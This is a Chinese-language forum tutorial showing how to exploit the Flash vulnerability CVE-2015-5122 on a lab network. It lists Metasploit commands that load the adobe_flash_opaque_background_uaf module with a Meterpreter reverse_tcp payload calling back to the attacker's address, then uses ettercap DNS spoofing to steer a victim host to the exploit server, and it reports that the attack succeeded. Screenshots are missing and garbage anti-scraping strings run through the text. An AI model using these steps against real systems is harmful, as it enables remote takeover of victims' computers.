cve2015-5122漏洞实例演示虚拟机

admin

, V% N1 H" Y4 h% N 二、cve2015-5122漏洞实例演示虚拟机 3 L: a _' J6 R* P

  关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图： 5 R; J: f2 |5 i% t9 J* [

search cve-2015-5122如图： 4 R! d3 L7 E+ u9 |4 B

  5 C0 R! |0 q, e5 p* |

下面我们敲如下命令： & S- G) W6 r" ~7 A# T$ [2 Z6 ~

~( J. u0 G% j8 p8 m+ D

use exploit/multi/browser/adobe_flash_opaque_background_uaf

set PAYLOAD windows/meterpreter/reverse_tcp

( K% T _8 ^' m$ T% u set LHOST 192.168.0.109 4 W+ j3 Z) C/ A c W+ i2 I

8 `$ }" c/ `9 p: D; m% I set URIPATH /                        /*根目录*/ ' e: L, V, r+ j* e4 g

+ z# Y; \' D4 \) ^; W% S6 \

set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 7 w' u/ G. Q% \1 L

$ ?% U) {2 T, s+ q

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

8 b7 H2 [5 C3 y; F) t 然后show options如图：

9 S! Q0 u) U1 J' V6 p

' a, B" `! A+ [ }6 |$ X4 D  

1 H! ?1 R# r7 D* Z3 [+ e4 v. P. [8 Y

& k- @& m7 I7 @/ b1 z# S 一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
% o5 u. T0 |; P( X ! n/ D6 k$ F% v

+ D$ `: _) p* G- F4 M% i/ }

" [! ?3 E6 D7 W$ b! b' }) M 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

5 k1 }1 t, w3 [2 h+ ?. B( c, x( A

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf

5 C; y8 l3 s* N, I

: }/ t+ _3 M2 M) [( a3 k   D! i. x; N# Z+ l2 j9 D, t2 N

% x0 p2 g# A; K3 z0 H$ V9 S. f

2 } i& J/ f9 q$ z/ o% z* S 成功了，这时候我们断开ettercap，如图： ! \1 p* J( i1 K7 q

d6 F: _" N( X+ X

, O. D! h( N0 g* A/ ~3 j- n   ) D+ ?0 A9 Y% s- `) c$ r

Screenshot如图：

$ f0 N$ q0 `. L8 N8 c

4 V! @. C1 M1 N- \9 s1 W) Z/ y  

9 H7 Y3 B5 K) O# Z* T6 B% I